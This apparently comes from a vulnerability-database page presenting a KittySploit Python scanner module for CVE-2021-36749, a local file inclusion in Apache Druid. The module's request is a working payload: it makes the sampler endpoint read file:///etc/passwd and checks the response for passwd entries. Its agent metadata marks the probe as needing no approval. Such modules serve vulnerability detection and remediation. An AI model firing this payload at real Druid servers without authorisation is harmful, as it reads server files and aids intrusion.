Lucene search
+L

Apache Druid - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Authenticated Local File Inclusion in Apache Druid HTTP InputSource.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Apache Druid
14 Oct 202103:47
–githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Zeroshell
22 May 202105:06
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Apache Druid
12 Dec 202115:50
–githubexploit
attackerkb
attackerkb
CVE-2021-36749
24 Sep 202110:15
–attackerkb
nessus
Tenable Nessus
Apache Druid < 0.22.0 Incorrect Authorization
20 Sep 202300:00
–nessus
circl
Circl
CVE-2021-36749
24 Sep 202114:30
–circl
cnnvd
CNNVD
Apache Druid 安全漏洞
24 Sep 202100:00
–cnnvd
cnvd
CNVD
Apache Druid LoadData has an arbitrary file reading vulnerability
19 Nov 202100:00
–cnvd
checkpoint_advisories
Check Point Advisories
Apache Druid Information Disclosure (CVE-2021-36749)
2 Feb 202200:00
–checkpoint_advisories
cve
CVE
CVE-2021-36749
24 Sep 202109:30
–cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Druid ingestion system is vulnerable to local file inclusion."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Druid - Local File Inclusion Detection',
        'description': 'Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2021', 'cve', 'apache', 'lfi', 'auth-bypass', 'druid', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/BrucessKING/CVE-2021-36749',
            'https://lists.apache.org/thread.html/rc9400a70d0ec5cdb8a3486fc5ddb0b5282961c0b63e764abfbcb9f5d%40%3Cdev.druid.apache.org%3E',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-36749',
            'https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be@%3Cannounce.apache.org%3E',
            'https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be%40%3Cannounce.apache.org%3E',
        ],
        'cve': 'CVE-2021-36749',
    }

    def run(self):
        path = '/druid/indexer/v1/sampler?for=connect'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json'}, data='{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":[" file:///etc/passwd "]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string", "parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"no_ such_ column","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:', 'druid:*:1000:1000:',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='medium', reason='Apache Druid - Local File Inclusion detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24
CVSS 3.16.5
EPSS0.80907
1